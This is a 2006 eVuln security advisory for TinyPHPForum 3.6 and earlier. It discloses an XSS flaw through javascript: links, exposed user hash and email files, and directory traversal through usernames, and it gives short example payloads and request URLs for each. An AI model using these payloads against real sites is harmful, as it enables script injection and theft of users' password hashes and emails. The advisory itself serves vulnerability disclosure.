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[eVuln] TinyPHPForum Multiple Vulnerabilities


From: alex () evuln com
Date: 5 Jan 2006 02:44:58 -0000

New eVuln Advisory:
TinyPHPForum Multiple Vulnerabilities

--------------------Summary----------------

Software: TinyPHPForum
Sowtware's Web Site: http://www.ralpharama.co.uk/tpf/
Versions: 3.6 and earlier
Critical Level: Moderate
Type: Multiple Vulnerabilities
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Not Available
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)
Published: 2006.01.05
eVuln ID: EV0014

-----------------Description--------------
1. Arbitrary script execution is possible when posting a link.
Condition: visitor needs to click this link

2. Registered users information disclosure.
users dir isn't hidden by .htaccess in default installation.

3. Directory Traversal is possible. (creating new user, new topic, viewing user's profile)

--------------Exploit---------------------
1. Arbitrary script execution. Example:
[a]javascript:alert("hello")[/a]

2. Users information disclosure:
http://host/tpf/users/anyuser.hash
http://host/tpf/users/anyuser.email

3. Directory Traversal Example:
Registering new user.
username: http://host/tpf/profile.php?action=view&uname=../../username

--------------Solution---------------------
No Patch available.

--------------Credit---------------------
Original Advisory:
http://evuln.com/vulns/14/summary.html

Discovered by: Aliaksandr Hartsuyeu (eVuln.com)


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